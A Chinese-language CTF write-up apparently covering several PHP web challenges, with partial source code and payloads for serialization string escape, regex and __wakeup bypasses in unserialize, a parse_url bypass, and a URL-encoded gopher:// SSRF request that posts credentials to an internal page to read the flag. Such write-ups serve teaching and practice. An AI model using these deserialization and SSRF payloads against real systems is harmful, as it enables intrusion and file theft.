这题没什么好说的,查看源码直接发现system("cat flag_md5.txt"),根本没有绕过的必要,直接访问flag_md5.txt即可得到flag
注解:代码流程比较简单,先是利用Mid类下$mid属性的echo $high调用High类用以触发toString,传参的时候需要传入a,b两个参数,最后利用str_replace中“******”进行以多换少的字节逃逸
运行结果:O:3:“Low”:2:{s:5:“user1”;s:1:“1”;s:5:“user2”;O:3:“Mid”:1:{s:3:“mid”;O:4:“High”:1:{s:4:“high”;s:8:“flag.php”;}}}
传入参数:?a=******&b=“;s:5:“user2”;O:3:“Mid”:1:{s:3:“mid”;O:4:“High”:1:{s:4:“high”;s:8:“flag.php”;}}}
回显结果:
根据运行后的回显结果显示,如果想要成功构造可用payload,必须将”;s:5:“user2”;s:80:“这一段逃逸掉
这段字符串的长度为20,源代码中chr(0).”$“其实是两位字符串,所以由”******“变为chr(0).”$“为6-2=4,也就是说每次可以逃逸4位字符串,20/4=5,所以最终只需要5个”******"即可成功逃逸
?a=******************************&b=";s:5:“user2”;O:3:“Mid”:1:{s:3:“mid”;O:4:“High”:1:{s:4:“high”;s:8:“flag.php”;}}}
前期通过信息收集可以找到robots.txt,同时index.php和class.php有bak备份文件,访问后下载
");
}
$img_data = visit($img);
$img_src = "data:image/png;base64,".base64_encode($img_data);
}else{
$img_src = "data:image/png;base64,".base64_encode(file_get_contents('cat.png'));
}
return $img_src;
}
$img_src = imagedata($_GET["url"]);
echo "Which do you like more, cat or flag?
";
echo '';
if(isset($_COOKIE["info"]) && !empty($_COOKIE["info"])){
$cookie = base64_decode($_COOKIE["info"]);
preg_match('/[oc]:\d+:/i', $cookie, $matches);
if(count($matches)){
die("not allowed!
");
}else{
$info = unserialize($cookie);
echo $info;
}
}
?>
注:index.php中visit函数为常规的ssrf,imagedata函数会将回显结果返回为网页图片的base64加密形式,在一开始包含了class.php文件,最下方的info用来传入序列化的base64加密字符串
filename = $filename;
}
public function __wakeup(){
if(preg_match('/php/i', $this->filename)){
$this->filename = "";
echo "not allowed
";
}
}
public function __destruct(){
if(isset($this->filename)){
if(preg_match('/flag|\.\./i', $this->filename)){
die("not allowed!
");
}else{
echo highlight_file($this->filename, true);
}
}
}
}
?>
注:class.php为一个简单的反序列化,可用于读取文件,主要是用来读取bypassme.php,其中需要绕过index.php中的preg_match(‘/[oc]:\d+:/i’, $cookie, $matches);还有wakeup方法
利用class.php读取,payload如下:
filename = $filename;
}
public function __wakeup(){
if(preg_match('/php/i', $this->filename)){
$this->filename = "";
echo "not allowed
";
}
}
public function __destruct(){
if(isset($this->filename)){
if(preg_match('/flag|\.\./i', $this->filename)){
die("not allowed!
");
}else{
echo highlight_file($this->filename, true);
}
}
}
}
$info=new Info();
$info->filename="bypassme.php";
$cls=serialize($info);
$cls=str_replace("O:4","O:+4",$cls); //绕过preg_match('/[oc]:\d+:/i', $cookie, $matches);
$cls=str_replace(":1:",":2:",$cls); //绕过wakeup方法
echo base64_encode($cls);
在cookie中传入字符串得到bypassme.php源码
源码:
由于remote_addr无法伪造,想起来index.php中存在ssrf,可以利用gopher协议绕过
index.php的visit函数存在ssrf漏洞,首先需要绕过一下parse_url
绕过方法:http://[email protected]:[email protected]
构造gopher协议payload:
gopher://127.0.0.1:80/_POST%2520/bypassme.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AConnection%253Aclose%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252047%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%253B%2520U%253B%2520Windows%2520NT%25205.1%253B%2520en-US%2529%2520AppleWebKit/525.13%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/0.2.149.29%2520Safari/525.13%250D%250A%250Ausername%253Dadmin%2526password%253Dnimda%2526filename%253Dflag.php